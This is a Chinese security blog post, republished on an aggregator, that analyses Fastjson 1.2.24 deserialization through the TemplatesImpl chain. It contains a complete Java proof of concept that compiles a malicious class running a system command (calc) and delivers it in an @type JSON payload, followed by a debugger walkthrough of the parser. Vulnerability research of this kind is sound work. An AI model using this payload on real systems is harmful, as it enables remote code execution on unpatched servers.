经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » JS/JS库/框架 » JSON » 查看文章
Fastjson反序列化分析
来源:cnblogs  作者:F12~  时间:2024/3/29 8:46:55  对本文有异议

依赖

先研究1.2.24版本的,版本高了就有waf了,不过也能绕,高版本以后再说

  1. <dependency>
  2. <groupId>com.alibaba</groupId>
  3. <artifactId>fastjson</artifactId>
  4. <version>1.2.24</version>
  5. </dependency>
  6. <dependency>
  7. <groupId>mysql</groupId>
  8. <artifactId>mysql-connector-java</artifactId>
  9. <version>5.1.46</version>
  10. </dependency>
  11. <dependency>
  12. <groupId>org.javassist</groupId>
  13. <artifactId>javassist</artifactId>
  14. <version>3.29.1-GA</version>
  15. </dependency>

Fastjson之任意get,set调用

TemplatesImpl链

老样子定义恶意类,然后打TemplatesImpl的defineClass

  1. package org.example;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.Feature;
  4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  5. import javassist.*;
  6. import java.io.IOException;
  7. import java.util.Base64;
  8. public class Main {
  9. public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
  10. ClassPool pool = new ClassPool();
  11. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  12. CtClass cc = pool.makeClass("Cat");
  13. String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
  14. cc.makeClassInitializer().insertBefore(cmd);
  15. String randomClassName = "EvilCat" + System.nanoTime();
  16. cc.setName(randomClassName);
  17. cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  18. byte[] codes = cc.toBytecode();
  19. String value = Base64.getEncoder().encodeToString(codes);
  20. String payload = "{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\": [\""+value+"\"], \"_name\": \"c.c\", \"_tfactory\": {}, \"_outputProperties\": {},\"_name\": \"a\", \"_version\": \"1.0\", \"allowedProtocols\": \"all\"}";
  21. // 注意这里这些属性都是私有属性,所以得设置Feature.SupportNonPublicField来保证可以对私有属性赋值
  22. JSON.parseObject(payload, Feature.SupportNonPublicField);
  23. }
  24. }

打个断点进行分析,断点打在JSON.parseObject,进入parse

这里配置了我们传入的Feature.SupportNonPublicField为true

继续跟进parse

继续跟进parse

这里对token进行选择,我们的token在DefaultJSONParser中被赋值了12,继续跟进,LBRACE就是12

进入parseObject,取到key为@type

加载key的value也就是我们传入的TemplatsImpl
跟进loadClass

往下走,获取一个类加载器来加载我们的恶意类,然后放入一个map中

返回之后往下走,调用getDeserializer将恶意类进行JSON反序列化

跟进该方法,一系列的判断,没啥用,直接过,来到这,创建了个JavaBeanDeserializer
跟进该方法,又是一系列的判断,略过来到这里,调用了JavaBeanDeserializer

跟进该构造方法

跟进build方法,这里循环调用恶意类的方法,调用到getOutProperties,define恶意类
set也是一样

JdbcRowSetImpl链

之前的JNDI注入分析文章已经分析过了
https://tttang.com/archive/1579/#toc_
https://www.cnblogs.com/F12-blog/p/18100120

原文链接:https://www.cnblogs.com/F12-blog/p/18101951

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号